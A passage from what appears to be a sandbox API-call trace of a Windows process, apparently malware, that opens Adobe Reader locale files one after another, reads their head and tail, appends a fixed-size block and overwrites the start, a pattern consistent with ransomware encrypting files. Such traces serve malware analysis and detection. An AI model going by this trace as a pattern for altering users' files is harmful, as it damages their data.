lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.243] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x9800 [0037.243] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.243] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x9800 [0037.244] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.244] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.244] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de8e48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8e48*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.244] CloseHandle (hObject=0x1c4) returned 1 [0037.244] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Search.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\search.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.252] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.252] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6200 [0037.253] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.253] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.253] ReleaseMutex (hMutex=0x128) returned 1 [0037.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.FRA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0037.253] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.FRA", cchWideChar=10, lpMultiByteStr=0x1e62fec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.FRA", lpUsedDefaultChar=0x0) returned 10 [0037.253] ReadFile (in: hFile=0x1c4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.258] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5200 [0037.258] ReadFile (in: hFile=0x1c4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.261] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x5200 [0037.262] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.262] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.262] WriteFile (in: hFile=0x1c4, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.262] CloseHandle (hObject=0x1c4) returned 1 [0037.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Annots.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\annots.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.262] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.263] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x76e00 [0037.263] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.263] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.263] ReleaseMutex (hMutex=0x128) returned 1 [0037.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HRV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0037.263] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.HRV", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.HRV", lpUsedDefaultChar=0x0) returned 10 [0037.263] ReadFile (in: hFile=0x1c4, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0037.269] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x75e00 [0037.269] ReadFile (in: hFile=0x1c4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.275] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x75e00 [0037.275] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.277] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.277] WriteFile (in: hFile=0x1c4, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0037.277] CloseHandle (hObject=0x1c4) returned 1 [0037.277] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\PDDom.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\pddom.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0037.283] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.283] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2e00 [0037.283] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.283] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.283] ReleaseMutex (hMutex=0x128) returned 1 [0037.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.HRV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0037.283] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.HRV", cchWideChar=9, lpMultiByteStr=0x1e6320c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.HRV", lpUsedDefaultChar=0x0) returned 9 [0037.283] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.289] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1e00 [0037.289] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.293] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1e00 [0037.294] WriteFile (in: hFile=0x1b4, lpBuffer=0x2736e98*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736e98*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.294] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.294] WriteFile (in: hFile=0x1b4, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.295] CloseHandle (hObject=0x1b4) returned 1 [0037.295] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Spelling.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\spelling.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.299] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.300] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x2800 [0037.300] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.300] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.300] ReleaseMutex (hMutex=0x128) returned 1 [0037.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HRV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.300] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HRV", cchWideChar=12, lpMultiByteStr=0x1e631cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.HRV", lpUsedDefaultChar=0x0) returned 12 [0037.300] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.307] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1800 [0037.307] ReadFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.307] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x1800 [0037.307] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.308] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.308] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.308] CloseHandle (hObject=0x1c4) returned 1 [0037.308] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DVA.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\dva.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.309] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.309] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x4a00 [0037.309] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0037.309] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.310] ReleaseMutex (hMutex=0x128) returned 1 [0037.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HUN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0037.310] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.HUN", cchWideChar=7, lpMultiByteStr=0x1e6a9e4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.HUN", lpUsedDefaultChar=0x0) returned 7 [0037.310] ReadFile (in: hFile=0x1c4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.314] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3a00 [0037.314] ReadFile (in: hFile=0x1c4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.314] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x3a00 [0037.314] WriteFile (in: hFile=0x1c4, lpBuffer=0x1deefa8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deefa8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.940] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0037.940] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.940] CloseHandle (hObject=0x1c4) returned 1 [0038.151] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\reflow.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\reflow.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.188] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0038.188] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x1200 [0038.188] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0038.188] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.188] ReleaseMutex (hMutex=0x128) returned 1 [0038.188] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.HUN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.190] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.HUN", cchWideChar=10, lpMultiByteStr=0x1e633ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.HUN", lpUsedDefaultChar=0x0) returned 10 [0038.190] ReadFile (in: hFile=0x1ac, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x340f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0038.200] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0038.200] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0038.201] CloseHandle (hObject=0x1ac) returned 1 [0038.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Acroform.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\acroform.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.201] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0038.201] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x6a200 [0038.201] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0038.201] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.201] ReleaseMutex (hMutex=0x128) returned 1 [0038.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0038.201] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.ITA", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.ITA", lpUsedDefaultChar=0x0) returned 12 [0038.201] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0038.203] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x69200 [0038.203] ReadFile (in: hFile=0x1ac, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.206] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x69200 [0038.207] WriteFile (in: hFile=0x1ac, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.207] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0038.207] WriteFile (in: hFile=0x1ac, lpBuffer=0x2720cd8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0038.207] CloseHandle (hObject=0x1ac) returned 1 [0038.207] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\makeaccessible.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\makeaccessible.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.208] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0038.208] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x14400 [0038.208] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0038.208] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.208] ReleaseMutex (hMutex=0x128) returned 1 [0038.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ITA", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0038.208] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.ITA", cchWideChar=18, lpMultiByteStr=0x1e78c44, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.ITA", lpUsedDefaultChar=0x0) returned 18 [0038.208] ReadFile (in: hFile=0x1ac, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x340f278*=0x4000, lpOverlapped=0x0) returned 1 [0038.210] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, 